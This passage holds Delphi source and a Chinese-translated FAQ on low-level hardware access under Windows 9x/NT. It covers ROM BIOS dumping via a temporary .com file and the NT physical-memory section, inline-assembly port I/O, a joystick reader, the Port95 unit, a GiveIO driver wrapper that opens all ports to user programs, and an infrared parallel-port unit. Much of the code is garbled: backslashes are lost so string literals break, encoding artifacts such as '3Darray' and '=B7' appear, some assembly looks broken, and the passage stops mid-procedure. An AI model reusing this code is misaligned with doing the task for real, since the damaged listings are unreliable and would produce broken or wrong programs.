if CreateProcess(nil, PChar(ComSpec + ' /C ' + Com + ' > ' + Dmp),

nil, nil, False, CREATE_NEW_CONSOLE or CREATE_NEW_PROCESS_GROUP, nil,

nil, si, pi) then

try

Result := WaitForSingleObject(pi.hProcess, Timeout) <> WAIT_TIMEOUT;

finally

CloseHandle(pi.hProcess);

CloseHandle(pi.hThread);

end;

end;

end;

function DirectoryExists(const Dir: string): Boolean;

var

Attr: DWORD;

begin

Attr := GetFileAttributes(PChar(Dir));

Result := (Attr <> $FFFFFFFF) and

(Attr and FILE_ATTRIBUTE_DIRECTORY = FILE_ATTRIBUTE_DIRECTORY);

end;

{ Get BIOS dump the generic way }

function ReadRomBios16(var Buffer: TRomBiosDump; Timeout: DWORD): Boolean;

const

TempSub = '~RomDmp';

ComName = 'RomDump.com';

DmpName = 'Rom.dmp';

var

TempPath: string;

TempDir: string;

TempIdx: Integer;

TempIdxStr: string;

ComFile: string;

DmpFile: string;

DmpHandle: THandle;

Written: DWORD;

begin

Result := False;

SetLength(TempPath, MAX_PATH);

SetLength(TempPath, GetTempPath(MAX_PATH, PChar(@TempPath[1])));

if Length(TempPath) > 0 then

begin

if (TempPath[Length(TempPath)] <> ') then

TempPath := TempPath + ';

TempIdx := 0;

repeat

Inc(TempIdx);

Str(TempIdx, TempIdxStr);

TempDir := TempPath + TempSub + TempIdxStr;

until not DirectoryExists(TempDir);

if CreateDirectory(PChar(TempDir), nil) then

try

TempDir := TempDir + ';

ComFile := TempDir + ComName;

DmpFile := TempDir + DmpName;

if _RomDumpCodeToFile(ComFile) then

try

if _RomDumpCodeExecute(ComFile, DmpFile, Timeout) then

begin

DmpHandle := CreateFile(PChar(DmpFile), GENERIC_READ,

FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);

if DmpHandle <> INVALID_HANDLE_VALUE then

try

FillChar(Buffer, SizeOf(TRomBiosDump), 0);

Result := ReadFile(DmpHandle, Buffer, SizeOf(TRomBiosDump),

Written, nil) and (Written = SizeOf(TRomBiosDump));

finally

CloseHandle(DmpHandle);

end;

end;

finally

DeleteFile(PChar(DmpFile));

DeleteFile(PChar(ComFile));

end;

finally

RemoveDirectory(PChar(TempDir));

end;

end;

end;

{###############################################################################

# #

# DIRECT METHOD (Win9x) #

# #

# Due to the fact that Windows 95/98/ME maps the BIOS into every Win32 process #

# for read access it is very simple to fill the buffer from memory. #

# #

###############################################################################}

function ReadRomBios9x(var Buffer: TRomBiosDump): Boolean;

begin

Result := False;

try

FillChar(Buffer, SizeOf(TRomBiosDump), 0);

Move(Pointer(Low(TRomBiosDump))^, Buffer, SizeOf(TRomBiosDump));

Result := True;

except

// ignore exceptions

end

end;

{###############################################################################

# #

# PHYSICAL MEMORY METHOD (WinNT) #

# #

# On Windows NT the ROM BIOS is only available through the named kernel object #

# ''. Because it is impossible to open kernel objects in #

# user mode with standard Win32 API functions we make use of NT's nativeAPI in #

# NtDll.dll ("NT-Layer") namely ZwOpenSection. #

# #

# (note: mostly there are two versions of every function ZwXxx and NtXxx. The #

# only difference in kernel mode is that the NtXxx version works in conside- #

# ration to security while ZwXxx not. But in user mode both work like NtXxx.) #

# #

# At first the section is opened with ZwOpenSection. Normally we would proceed #

# ZwMapViewOfSection, ZwUnmapViewOfSection, and NtClose. But the functions are #

# more complex and there is no needing for it. With the handle (because we are #

# in the "very simple" user mode =) we now use MapViewOfFile, UnmapViewOfFile, #

# and CloseHandle to map an memory window (the ROM BIOS) into our process. #

# #

# Due to the fact that ZwOpenSection returns NT error-codes in case of failure #

# we have to translate it to an Win32 error-code (RtlNtStatusToDosError). #

# All NT specific functions are dynamically loaded -- because the applications #

# should start on Win9x systems =) #

# #

###############################################################################}

{ For more information see Windows 2000/XP DDK }

{ It works on Windows NT 4.0 too, use NtDll.dll }

type

NTSTATUS = Integer;

const

STATUS_SUCCESS = NTSTATUS(0);

STATUS_INVALID_HANDLE = NTSTATUS($C0000008);

STATUS_ACCESS_DENIED = NTSTATUS($C0000022);

type

PUnicodeString = ^TUnicodeString;

TUnicodeString = packed record

Length: Word;

MaximumLength: Word;

Buffer: PWideChar;

end;

const

OBJ_INHERIT = $00000002;

OBJ_PERMANENT = $00000010;

OBJ_EXCLUSIVE = $00000020;

OBJ_CASE_INSENSITIVE = $00000040;

OBJ_OPENIF = $00000080;

OBJ_OPENLINK = $00000100;

OBJ_KERNEL_HANDLE = $00000200;

OBJ_VALID_ATTRIBUTES = $000003F2;

type

PObjectAttributes = ^TObjectAttributes;

TObjectAttributes = record

Length: ULONG;

RootDirectory: THandle;

ObjectName: PUnicodeString;

Attributes: ULONG;

SecurityDescriptor: PSecurityDescriptor;

SecurityQualityOfService: PSecurityQualityOfService;

end;

const

ObjectPhysicalMemoryDeviceName = '';

ObjectPhysicalMemoryName: TUnicodeString = (

Length: Length(ObjectPhysicalMemoryDeviceName) * 2;

MaximumLength: Length(ObjectPhysicalMemoryDeviceName) * 2 + 2;

Buffer: ObjectPhysicalMemoryDeviceName;

);

ObjectPhysicalMemoryAccessMask: ACCESS_MASK = SECTION_MAP_READ;

ObjectPhysicalMemoryAttributes: TObjectAttributes =(

Length: SizeOf(TObjectAttributes);

RootDirectory: 0;

ObjectName: @ObjectPhysicalMemoryName;

Attributes: OBJ_CASE_INSENSITIVE;

SecurityDescriptor: nil;

SecurityQualityOfService: nil;

);

type

TFNZwOpenSection = function(out SectionHandle: THandle;

DesiredAccess: ACCESS_MASK; ObjectAttributes: PObjectAttributes): NTSTATUS;

stdcall;

TFNRtlNtStatusToDosError = function(Status: NTSTATUS): DWORD; stdcall;

const

ntdll = 'ntdll.dll';

var

ZwOpenSection: TFNZwOpenSection;

RtlNtStatusToDosError: TFNRtlNtStatusToDosError;

function ReadRomBiosNt(var Buffer: TRomBiosDump; Timeout: DWORD): Boolean;

var

NtLayer: HMODULE;

Status: NTSTATUS;

Section: THandle;

View: Pointer;

begin

Result := False;

NtLayer := GetModuleHandle(ntdll);

if NtLayer = 0 then

SetLastError(ERROR_CALL_NOT_IMPLEMENTED)

else

begin

if not Assigned(ZwOpenSection) then

ZwOpenSection := GetProcAddress(NtLayer, 'ZwOpenSection');

if not Assigned(RtlNtStatusToDosError) then

RtlNtStatusToDosError := GetProcAddress(NtLayer, 'RtlNtStatusToDosError');

if not (Assigned(ZwOpenSection) and Assigned(RtlNtStatusToDosError)) then

SetLastError(ERROR_CALL_NOT_IMPLEMENTED)

else

begin

Status := ZwOpenSection(Section, ObjectPhysicalMemoryAccessMask,

@ObjectPhysicalMemoryAttributes);

case Status of

STATUS_SUCCESS:

try

View := MapViewOfFile(Section, ObjectPhysicalMemoryAccessMask, 0,

Low(TRomBiosDump), SizeOf(TRomBiosDump));

if Assigned(View) then

try

FillChar(Buffer, SizeOf(TRomBiosDump), 0);

Move(View^, Buffer, SizeOf(TRomBiosDump));

Result := True;

finally

UnmapViewOfFile(View);

end;

finally

CloseHandle(Section);

end;

STATUS_ACCESS_DENIED:

Result := ReadRomBios16(Buffer, Timeout);

else

SetLastError(RtlNtStatusToDosError(Status))

end;

end;

end;

end;

{###############################################################################

# #

# ReadRomBios #

# #

###############################################################################}

function ReadRomBios(var Dump: TRomBiosDump; Method: TReadRomBiosMethod;

Timeout: DWORD = INFINITE): Boolean;

begin

Result := False;

case Method of

rrbmAutomatic:

if (Integer(GetVersion) < 0) then

try

Result := ReadRomBios9x(Dump);

except

Result := ReadRomBios16(Dump, Timeout);

end

else

Result := ReadRomBiosNt(Dump, Timeout);

rrbmGeneric:

Result := ReadRomBios16(Dump, Timeout);

rrbmMemory:

Result := ReadRomBios9x(Dump);

rrbmPhysical:

Result := ReadRomBiosNt(Dump, Timeout);

else

SetLastError(ERROR_INVALID_PARAMETER);

end;

end;

{###############################################################################

# #

# Utilities to simplify the access to data as generic standard types #

# #

###############################################################################}

function GetRomBiosBuffer(const Dump: TRomBiosDump; Address: Pointer;

var Buffer; BufferSize: Cardinal): Cardinal;

begin

Result := 0;

if (Cardinal(Address) >= Low(TRomBiosDump)) and

(Cardinal(Address) <= High(TRomBiosDump)) then

begin

Result := BufferSize;

if (Cardinal(Address) + BufferSize > High(TRomBiosDump)) then

Result := High(TRomBiosDump) - Cardinal(Address) + 1;

Move(Dump[Cardinal(Address)], Buffer, Result);

end;

end;

function GetRomBiosString(const Dump: TRomBiosDump; Address: Pointer): string;

begin

Result := '';

if (Cardinal(Address) >= Low(TRomBiosDump)) and

(Cardinal(Address) <= High(TRomBiosDump)) then

Result := string(PChar(@Dump[Cardinal(Address)]));

end;

function GetRomBiosLongLong(const Dump: TRomBiosDump; Address: Pointer): LONGLONG;

type

PLongLong = ^LONGLONG;

begin

Result := 0;

if (Cardinal(Address) >= Low(TRomBiosDump)) and

(Cardinal(Address) <= High(TRomBiosDump) - SizeOf(LONGLONG) + 1) then

Result := PLongLong(@Dump[Cardinal(Address)])^;

end;

function GetRomBiosDWord(const Dump: TRomBiosDump; Address: Pointer): DWORD;

begin

Result := 0;

if (Cardinal(Address) >= Low(TRomBiosDump)) and

(Cardinal(Address) <= High(TRomBiosDump) - SizeOf(DWORD) + 1) then

Result := PDWORD(@Dump[Cardinal(Address)])^;

end;

function GetRomBiosWord(const Dump: TRomBiosDump; Address: Pointer): Word;

begin

Result := 0;

if (Cardinal(Address) >= Low(TRomBiosDump)) and

(Cardinal(Address) <= High(TRomBiosDump) - SizeOf(Word) + 1) then

Result := PWord(@Dump[Cardinal(Address)])^;

end;

function GetRomBiosByte(const Dump: TRomBiosDump; Address: Pointer): Byte;

begin

Result := 0;

if (Cardinal(Address) >= Low(TRomBiosDump)) and

(Cardinal(Address) <= High(TRomBiosDump) - SizeOf(Byte) + 1) then

Result := PByte(@Dump[Cardinal(Address)])^;

end;

end.

****************************************

下面是一个Demo：

program Test;

uses

Windows,

BiosHelp in 'BiosHelp.pas';

{$E exe}

{$R Icon.res}

const

CRLF = #$0D#$0A;

function MyMessageBox(const Text: string; Icon: DWORD): LongBool;

var

Params: TMsgBoxParams;

begin

FillChar(Params, SizeOf(TMsgBoxParams), 0);

with Params do

begin

cbSize := SizeOf(TMsgBoxParams);

hwndOwner := GetDesktopWindow;

hInstance := SysInit.HInstance;

lpszText := PChar(Text);

lpszCaption := 'BiosHelp sample';

if (Icon <> 0) then

dwStyle := Icon

else

begin

dwStyle := MB_USERICON;

lpszIcon := MakeIntResource(555);

end;

end;

Result := MessageBoxIndirect(Params);

end;

const

// Well known offsets... (only date seems to be always available)

RomBiosDateOffset = Pointer($000FFFF5);

RomBiosNameOffset = Pointer($000FE061);

RomBiosCopyrightOffset = Pointer($000FE091);

RomBiosIdOffset = Pointer($000FEC71);

var

Dump: TRomBiosDump;

begin

if ReadRomBios(Dump, rrbmAutomatic) then

begin

MyMessageBox(

'Your BIOS-Date: ' + GetRomBiosString(Dump, RomBiosDateOffset) + CRLF +

CRLF +

'Get BIOS info on Windows 95/98/SE/ME/NT/2K/XP' + CRLF +

'with BiosHelp.pas for Delphi?4.03/5.01/6.01' + CRLF +

CRLF +

'Written 2001 by Nico Bendlin (nico@bendlin.de)', 0)

end

else

MyMessageBox('Error on reading BIOS!', MB_ICONERROR);

end.


访问端口
如何用Delphi 写Windows下的硬件端口

作者： Alan Young, ajtech@apc.net

编辑： Anatoly Podgoretsky, kvk@estpak.ee

修订日期：August 23, 1997

翻译整理：王甲春, wjiachun@263.net

这份文件是我在用户网新闻组、网页上发现的代码片断、FAQ等的汇集物。我将承认我所记得的一切，否则，还是万分感谢！

我把这一切收集到一起是因为我需要它，我希望它对你们也有用！

1. 简介

从 comp.lang.pascal.delphi.misc 得到的一份概要文件

Re: 端口指令和 win95 ，一份概要。

Martin Larsson(martin.larsson@delfi-data.msmail.telemax.no ) 提交于 10/08/1996 01:57:45

Eric Liptrot 写道：

过去的几个月里，关于这个主题已经有很大的一致性，所以这绝对是一个普遍的问题。有人能用逻辑方式总结一下这种情况么？

对这个问题我不是高手，但是我作出一点尝试。

1.1. 辩护

假定这是一份快速概要，它最终会很长。希望它不会令你太厌烦……

1.2. 问题

在MS-DOS模式下，一个应用程序对整个机器有控制权，这给了程序员很大的自由。为了加快执行速度，有必要的话你可以直接访问硬件。

在Windows 3.x下，这个自由在某种程度上受到了限制，尤其是不能直接写屏幕。问题很明显：用户可能运行着其他的应用程序，不能保证它们没有同时访问同一个硬件。

出现的其他问题就是你不得不对其他同时运行的应用程序友好一点。Windows 3.x 是合作式的多任务系统，这意味着每个程序决定自己何时执行而其他程序也能运行。长时间扰乱CPU被认为是不好的。

但是事实是除非我们程序员这么说程序是不会运行的，在访问硬件时这对我们是有利的。因为程序获取CPU，混乱I/O端口或内存，只要它愿意它就能保证完全控制机器，在结束前它不会放弃控制。

不幸的是，进度赶上了我们，现在出现了Win32（Windows NT和 Windows 95/98/2000）。它们是真正的操作系统，利用抢先式的多任务。每个线程（执行单元）得到处理器的一定时间。当时间结束或有更高优先权的线程执行时，系统将切换到下一个线程，尽管前一个线程还没有执行完毕。这种切换可以发生在任何两个汇编命令下，不能保证一个线程在它被清空前能够完成结束任何数量的命令，到下一个时间段可能要很长时间。

这产生一个直接访问硬件的实际问题。例如，一个典型的 I/O 读取由几个汇编命令组成：

mov dx, AddressPort

mov al, Address

out dx, al

jmp Wait

Wait:

mov dx, DataPort

in al, dx

只要所有的登记状态都在线程切换时被保护好，I/O 端口状态就不是保护好的了。因此，很可能有程序善于在上面的“out”和“in”命令间对付“你”的 I/O 端口。

1.3. 有文件证明的方法

这个问题的解决方法就是以某种方式告诉其他程序：现在我的程序使用着546端口，其他人最好靠边站。现在需要的是人工干预。不幸的是，为了使用人工干预，所有程序必须为这个人工干预使用一致的名字。但是，即使这是可能的，你还会轻易遇到一些棘手的问题。假定有两个程序App1 和 App2 App1 首先申请AddressPortMutex ，App2 首先申请DataPortMutex 。一个可悲的巧合，App1 取得AddressPortMutex ，系统切换到App2，它需要DataPortMutex ，僵持出现了。App2不能取得端口地址 ，因为App1拥有它；而App1又不能取得数据端口，因为App2拥有它。我们还在等着……

这个问题的正确解决方法就是建立一个拥有端口/内存地址的设备驱动程序，支持通过一个API访问硬件。一个典型的函数应该是：

GetIOPortData(AddressPort, DataPort : word) : Byte;

GetIOPortData 需要一个人工干预来保护这两个（有可能是全部）端口，然后访问这些端口，最后在返回调用前释放人工干预。如果有不同的线程同时调用这个函数，一个将先得到，另一个必须等着。

写一个设备驱动并不容易，它们必须由汇编或C来完成，而且很难调试。为了安全起见，一个Windows 9x 的设备驱动程序（VxD）和Windows NT的设备驱动程序（VDD，虚拟设备驱动）并不兼容。据说它们要被聚合，也许Windows NT 6.0 Windows 2000会兼容这些设备驱动，但是直到现在，我们不得不写两个独立的代码片断。

为了获取更多的信息请参考（举例）：

* Microsoft's Windows 95 设备驱动程序工具

* Microsoft's Windows NT设备驱动程序工具

* 《Systems Programming for Windows 95》，作者 Walter Oney

* http://www.vireo.com/ 网站上Vireo的《 VtoolsD library for writing VxD's in C》

1.4. 无文件证明的方法

上面的问题还不是很实际。一个程序直接访问硬件通常使用一些专用硬件。一个机器配置倾向与只运行一个程序，唯一目的是问了访问这个硬件。在这种设想下，写设备驱动程序显得太麻烦了。毕竟，程序运行在Windows下，只是为了获得好的GUI界面，不是为了10个程序能同时运行。

幸运的是，Windows 95和Windows 3.x是兼容的。这意味着直接读取I/O 必须被许可，因为许多Win 3.x程序需要使用它。为了访问I/O端口，简单使用汇编就可以。下面的代码由Arthur Hoornweg (hoornweg@hannover.sgh-net.de) 提供：

function getport(p:word):byte; stdcall;

begin

asm

push edx

push eax

mov dx,p

in al,dx

mov @result,al

pop eax

pop edx

end;

end;

Procedure Setport(p:word;b:byte);Stdcall;

begin

asm

push edx

push eax

mov dx,p

mov al,b

out dx,al

pop eax

pop edx

end;

end;

Francois Piette 也提供利一些I/O直接访问的函数于http://rtfm.netline.be/fpiette/portiofr.htm (参见第三节) ，Anatoly Podgoretskt 也提供了一些 (参看第四节)。

1.5. 但是NT呢?

上面的代码在Windows NT下不能工作。NT是一个强大得多的操作系统，任何人在任何需要的时候访问硬件的许可都将认真约束稳定性。

此外，NT 是一个交叉的平台，在不同的处理器上访问 I/O 端口可能有很大的不同。

尽管如此，在NT 系统下 x86系列的处理器上访问I/O 端口还是有可能的。这是完全没有文件证明的，可能在将来版本的操作系统里消失。

对于处理器我掌握的信息不多，但是D. Roberts在1996年5月的论文提及的Dr. Dobb的日志看上去有希望&#0;&#0;“Direct Port I/O and Windows NT”。看上去只有 DDJ 我忽略了，因此我不能证明这一点。请参看 http://www.ddj.com 来订阅背景问题。

Windows 开发者日志确实有一篇文章关于Windows下的 I/O 端口。作者为 Karen Hazzah，出现在1996年6月的问题里。

1.6. 资源

(注意：我对这些资源知之甚少，请自己检查它们。)

这里是关于写VxD和VDD 专题的有用的新闻组：

* comp.os.ms-windows.programmer.nt.kernel-mode (VDD)

* comp.os.ms-windows.programmer.vxd (VxD)

Dejanews (http://www.dejanews.com)出现了相当多的关于“device driver direct I/O access 95”的专题。

BlueWater Systems已经开发出了所有Win32 平台下直接访问 I/O 、内存和中断处理的OCX控件。他们好像也提供定制的设备驱动构造，可以参看他们的主页： http://www.bluewatersystems.com/.

我知道一些其他公司已经因为写典型VxD的能力在这里发布广告，但是我没有找到参考文献。

mailto:martin.larsson@delfi-data.msmail.telemax.no

http://www.delfidata.no/users/~martin

2.游戏操纵杆

一些代码由我在Delphi 1.0中完成，显示了如何访问硬件端口。利用游戏操纵杆作为一个例子来演示如何使用嵌入式汇编进行底层硬件访问。

PROGRAM Gameapp;

USES WINCRT,winprocs;

{======================================================}

CONST

ONN =1;

OFF=0 ;

{ must be * 256 because it is high byte }

STICK1 = 1*256; { bit 1 set for analog 1 }

STICK2 = 2*256; { bit 2 set for analog 2 }

STICK3 = 4*256; { bit 3 set for analog 3 }

STICK4 = 8*256; { bit 4 set for analog 4 }

BUTTON1 = 16; { bit 5 set for button 1 }

BUTTON2 = 32; { bit 6 set for button 2 }

BUTTON3 = 64; { bit 7 set for button 3 }

BUTTON4 = 128; { bit 8 set for button 4 }

{======================================================}

VAR

gvalue1,gvalue2 : INTEGER;

buttn1,buttn2 : BYTE;

P : PChar;

M : LongInt;

{======================================================}

function stick(joy:INTEGER):INTEGER;

{required input:

1 = analog stick 1

2 = analog stick 2

4 = analog stick 3

8 = analog stick 4

sample calls:

value=stick(1*256); reads stick 1,

value=stick(2*256); reads stick 2

value=stick(4*256); reads stick 3

value=stick(8*256); reads stick 4

(remember your binary arithmetic)

output:

unsigned int (16 bit output) as opposed to 8 bit output

for BIOS routines.

returns value = 0 if no joystick is connected

}

VAR

Value : INTEGER;

BEGIN

Value:=0;

ASM

@@START:

PUSH AX

PUSH CX

PUSH DX

{ we are really setting hi byte here }

CLI { clear interrupts }

MOV AX,joy { get stick to read }

MOV AL,0 { zero out low byte }

MOV DX,201H {; /* game port address */}

MOV AL,11111111b {; /* set bit map */}

OUT DX,AL {; /* force to unstable */}

MOV CX,0 {; /* set counter */}

@@TOP:

IN AL,DX {; /* read port */}

TEST AL,AH {; /* test selected port */}

JZ @@GOODEXIT {; /* branch when stable */}

LOOP @@TOP {; /* CX=CX-1, loop again */}

JMP @@TIMEOUT {; /* timeout when cx=65536 */}

@@GOODEXIT:

NEG CX {; /* two's complement CX */}

 { /* forces positive values */}

MOV value,CX {; /* put value into CX */}

STI { turn interrupts back on }

POP DX

POP CX

POP AX

 JMP @@BYE { and get outta here }

@@TIMEOUT:

STI { turn interrupts back on }

POP DX

POP CX

POP AX

MOV value,0; {; /* function is zero if timeout */}

@@BYE:

END; {basm}

stick:=value;

END;

{==============================================================}

function push_button(button:BYTE):BYTE;

var

value:BYTE;

BEGIN

asm

PUSH AX

PUSH DX

CLI { clear interrupts }

MOV DX, 201H {; /* game port address */}

IN AL, DX {; /* read state of buttons */}

NOT AL {; /* invert so that 1 = on */}

TEST AL, button {; /* compare */}

JNZ @@PRESSED {; /* if pressed return ON */}

STI { turn interrupts back on}

POP DX {; /* BUTTON IS OFF */}

POP AX {; /* if got to here */}

mov value, 0; { 0=OFF}

jmp @@QUIT

@@PRESSED:

STI { interrupts back on!}

POP DX { BUTTON IS ON if got to here */}

POP AX

mov value, 1 { on}

@@QUIT:

END;

push_button:=value;

END;

{======================================================}

BEGIN {main}

gotoxy(18,2);

write('Game Port Test Program by Alan Young (c) 7/15/93');

gotoxy(25,25);

write('Press any key to exit program.');

gotoxy(28,6);

write('Game Port Button Status');

gotoxy(28,7);

write(' 1 2');

gotoxy(28,15);

write('Game Port Analog Values ');

gotoxy(28,16);

write(' 1 2');

while NOT Keypressed DO BEGIN

buttn1:=push_button(BUTTON1);

buttn2:=push_button(BUTTON2);

gotoxy(33,8);

write(buttn1,' ',buttn2);

gvalue1:=stick(STICK1);

gvalue2:=stick(STICK2);

gotoxy(30,17);

write(gvalue1:4);

gotoxy(41,17);

write(gvalue2:4);

END;

END.

3. Francois Piette

从万维网Francois Piette主页得到的一些代码，还有一些直接的 I/O 访问函数见：

http://rtfm.netline.be/fpiette/portiofr.htm

3.1. Delphi 2 直接访问 I/O 端口

function PortIn(IOAddr : WORD) : BYTE;

begin

asm

mov dx,IOAddr

in al,dx

mov result,al

end;

end;

procedure PortOut(IOAddr : WORD; Data : BYTE);

begin

asm

mov dx,IOAddr

mov al,Data

out dx,al

end;

end;

警告： 在Windows NT下，系统会拦截很多端口操作。除非系统允许，I/O 命令不会到达硬件。很多时候要有驱动程序来模拟 I/O 。基于安全考虑这是有必要的。如果你确实需要在NT下直接访问 I/O ，你需要考虑写一个驱动程序。

在 Windows 95下这段代码没有问题。

4. Anatoly Podgoretsky

4.1. Delphi 2 直接访问 I/O 端口

这里有6个Anatoly Podgoretsky写的函数，主要不同点为：这些过程使用所有Delphi 2和Delphi 3的Pascal （BASM）的能力。非常短小而有效的代码：

unit Port95;

{

**************************************************************************

* Description: Port95 - very simple unit, that lets you access port *

* under Window 95,not under Windows NT. *

* Status: Freeware *

* You can freely use or distribute this unit *

* Target: Delphi 2/3 only under Windows 95 *

* Version: 1.0 (April 27, 1997) *

* Status: Freeware *

* Author: Anatoly Podgoretsky *

* Address: kvk@estpak.ee *

* Tips: font Courier, tabs = 2 *

* Problems: Word Read/Write utulities may problems on some computers *

* or interface cards, that can't access whole word. *

* To prevent it You can use slow equivalent of these *

* procedures with suffix LS (Low Speed) *

* Copyright: Copyright (C) 1997, NPS *

**************************************************************************}

interface

function PortReadByte(Addr:Word) : Byte;

function PortReadWord(Addr:Word) : Word;

function PortReadWordLS(Addr:Word) : Word;

procedure PortWriteByte(Addr:Word; Value:Byte);

procedure PortWriteWord(Addr:Word; Value:Word);

procedure PortWriteWordLS(Addr:Word; Value:Word);

implementation

{**************************************************************

* Port Read byte function *

* Parameter: port address *

* Return: byte value from given port *

**************************************************************}

function PortReadByte(Addr:Word) : Byte; assembler; register;

asm

MOV DX,AX

IN AL,DX

end;

{**************************************************************

* HIGH SPEED Port Read Word function *

* Parameter: port address *

* Return: word value from given port *

* Comment: may problem with some cards and computers *

* that can't to access whole word, usually it work. *

**************************************************************}

function PortReadWord(Addr:Word) : Word; assembler; register;

asm

MOV DX,AX

IN AX,DX

end;

{**************************************************************

* LOW SPEED Port Read Word function *

* Parameter: port address *

* Return: word value from given port *

* Comment: work in all cases, only to adjust DELAY if need *

***************************************************************}

function PortReadWordLS(Addr:Word) : Word; assembler; register;

const

Delay = 150; // depending of CPU speed and cards speed

asm

MOV DX,AX

IN AL,DX // read LSB port

MOV ECX,Delay

@1:

LOOP @1 // delay between two reads

XCHG AH,AL

INC DX // port+1

IN AL,DX // read MSB port

XCHG AH,AL // restore bytes order

end;

{**************************************************************

* Port Write byte function *

* Parameter: port address *

**************************************************************}

procedure PortWriteByte(Addr:Word; Value:Byte); assembler; register;

asm

XCHG AX,DX

OUT DX,AL

end;

{**************************************************************

* HIGH SPEED Port Write word procedure *

* Comment: may problem with some cards and computers *

* that can't to access whole word, usually it work. *

**************************************************************}

procedure PortWriteWord(Addr:word; Value:word); assembler; register;

asm

XCHG AX,DX

OUT DX,AX

end;

{**************************************************************

* LOW SPEED Port Write Word procedure *

* Parameter: port address *

* Return: word value from given port *

* Comment: work in all cases, only to adjust DELAY if need *

**************************************************************}

procedure PortWriteWordLS(Addr:word; Value:word); assembler; register;

const

Delay = 150; // depending of CPU speed and cards speed

asm

XCHG AX,DX

OUT DX,AL // port LSB

MOV ECX,Delay

@1:

LOOP @1 // delay between two writes

XCHG AH,AL

INC DX // port+1

OUT DX,AL // port MSB

end;

end.

警告： 在Windows NT下，系统会拦截很多端口操作。除非系统允许，I/O 命令不会到达硬件。很多时候要有驱动程序来模拟 I/O 。基于安全考虑这是有必要的。如果你确实需要在NT下直接访问 I/O ，你需要考虑写一个驱动程序。

在 Windows 95下这段代码没有问题。

5. VXD

这里有一个 WIN95 下的 I/O 访问的 VXD 驱动。作者为： victor@ivi.ugatu.ac.ru

访问Victor I.Ishikeev ，它被叫做 HWPORT95.zip ，下载地址为：

ftp://sunsite.icm.edu.pl/pub/delphi/ftp/32free/hwport95.zip

我不能让它为我工作，但是我目前只有 16位的Delphi 1.0。它看上去是为 32 位的 NT端口访问使用的……一个解决方案 :-)

Andrew Clark (andyc@rmpd-ngh.demon.co.uk) 发表于 12/23/1996 16:14:17 ：

你们好：

在读完许多提案求教NT下Delphi1 / TurboPascal 的等价的端口命令后，最近又被同事问起解决方案，我静下心来想想，认为我已经找到解决办法了……

由最近的Delphi FAQ R0.02（向R.E.den Braasem喝采）得到一点提示，我追查了1996年5月Dr Dobb的日志中提及的一个名为DIRECTIO.ZIP的文件（www.ddj.com，检查FTP站点ftp.ddj.com ），有一个Dale Roberts开发的名为GIVEIO.SYS的驱动程序允许访问所有的端口范围。做这些的办法就是掌握Paula Tomlinson开发的一个名为LOADDRV的小程序，这在1995年5月的Windows开发人员日志的问题里可以发现……

ftp.mfi.com/pub/windev/1995/may95.zip

这个程序将安装GIVEIO.SYS到驱动列表里，从“控制面板”里你可以启动这个程序（设置它的开始属性为“自动”可以在每次开机后启动）。

驱动程序装载并开始后，你可以从你的程序调用CreateFile 函数提供驱动程序名来授权给它(前缀一个“\.\ ” :{ )，然后你的程序就能访问 I/O 端口而没有任何异常了 :)

为了使它对更多用户友好一些，我做了一个控件封装了端口访问，这有助于创建的驱动程序，允许端口被作为数组访问（在Delphi1中）等。

port[$378]:=10; { write }

tick := port[$40]; { read }

另外，如果你把这个控件放到窗体上而没有安装GIVEIO 驱动程序并开始运行，你将获得一个异常。

这里就是我的控件（几乎没有注释）……

unit Port;

interface

uses

Windows,Messages,SysUtils,Classes,Graphics,Controls,Forms, Dialogs;

type

EPortError = class(Exception);

TPort = class(TComponent)

private

procedure Outport(Address,Data:Word);

function InPort(Address:Word):Word;

public

constructor Create(AOwner:TComponent);override;

property Port[index:Word]:Word

read InPort

write OutPort;

default;

end;

procedure Register;

implementation

procedure TPort.OutPort(Address,Data:Word);

asm

mov dx,Address

mov ax,Data

out dx,ax

end;

function TPort.InPort(Address:Word):Word;

asm

mov dx,Address

in ax,dx

end;

constructor TPort.Create(AOwner:TComponent);

var

h : Integer;

begin

Inherited Create(AOwner);

{ load the driver }

h:=CreateFile('\.\giveio',GENERIC_READ,0,nil,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);

{ warn if driver not there }

if H=INVALID_HANDLE_VALUE then

raise EPortError.Create('GiveIO Driver Not Installed');

{ we don't actually need the handle, as loading the driver

enables the free port access for the period of the

program }

CloseHandle(h);

end;

procedure Register;

begin

RegisterComponents('AndyC', [TPort]);

end;

end.

注意： 这个控件应该在Windows 95 下工作而不需要驱动，只要移开Create 过程就可以。

我没有声称完全理解了这个驱动程序，实际上我还在使用 Windows 3.11，对NT的内核更是一点都不了解，但是已经为一个用NT的同事把这些标志在一起，看起来工作正常。对我来说这足够好了 :)

如果你发现上面的代码有明显的错误请告诉我，我宁愿被一耳光也不愿我的同事因为它的程序死翘翘而被周围的人咂嘴！！！

andyc@rmpd-ngh.demon.co.uk

6. 红外线接口

一个演示如何写并行端口和控制红外线遥控设备的例子。

{ A pair of diodes are necesary:

- An infra-red emmiter LED.

- A infrared receiver diode.

infrared LED must be conected to bit 5 of the parallel port (pin 7) receiver diode must be conected

o pin 12 of the parallel port of course, two diodes must be conected to ground (pin 20). With this

imple circuit you can control any infraredm device (TVs,etc)

Unit: IRU

Version: 1.0=B7

Description: This unit allows you to control infrared devices, such as TVs, videos, etc., simply

utting a pair of diodes in the parallel port.

Date: December, 1995.

Programmed by: MACRO (macro@policc.unex.es)

You can use and modify this code on your programs, but remember to give me credit :-) }

unit iru;

interface

const

IRcodeLength = 300;

{Memory in bytes for each code, can be increased to obtain more resolution}

rate = 20;

{Is a delay that defines the sample frequency, 20 value works well in a DX2, must be decreased

or slower systems}

type

Ircode = 3Darray[1..IRcodeLength] of byte;

procedure receiveIRcode(var x:IRcode);

{This procedure waits until a IR code is received, then hold it in 'x' IRcode type variable. Be sure

f put the emitter LED very close to the receiver DIODE.}

procedure sendIRcode(var x:IRcode);

{This procedure dumps the IR code specified in 'x' thru the IR LED}

implementation

procedure receiveIRcode(var x:IRcode);

var

i,j : word;

begin

for i := 1 to IRcodeLength do x[i] := 0;

repeat until (port[$379] AND 32) = 0;

asm

cli;

end;

for i := 1 to IRcodeLEngth DO begin

asm

mov cx,rate;

@1:

in al,$61

 and al,0

out dx,al

loop @1

end;

x[i] := port[$379];

end;

asm

sti;

end;

j := 0;

for i := 1 to IRcodeLength do x[i] := (x[i] and 32) xor 32;

end;

procedure sendIRcode(var x:IRcode);

var

i : word;

v : byte;

begin

port[$61] := port[$61] or 1;

port[$43] := 182;

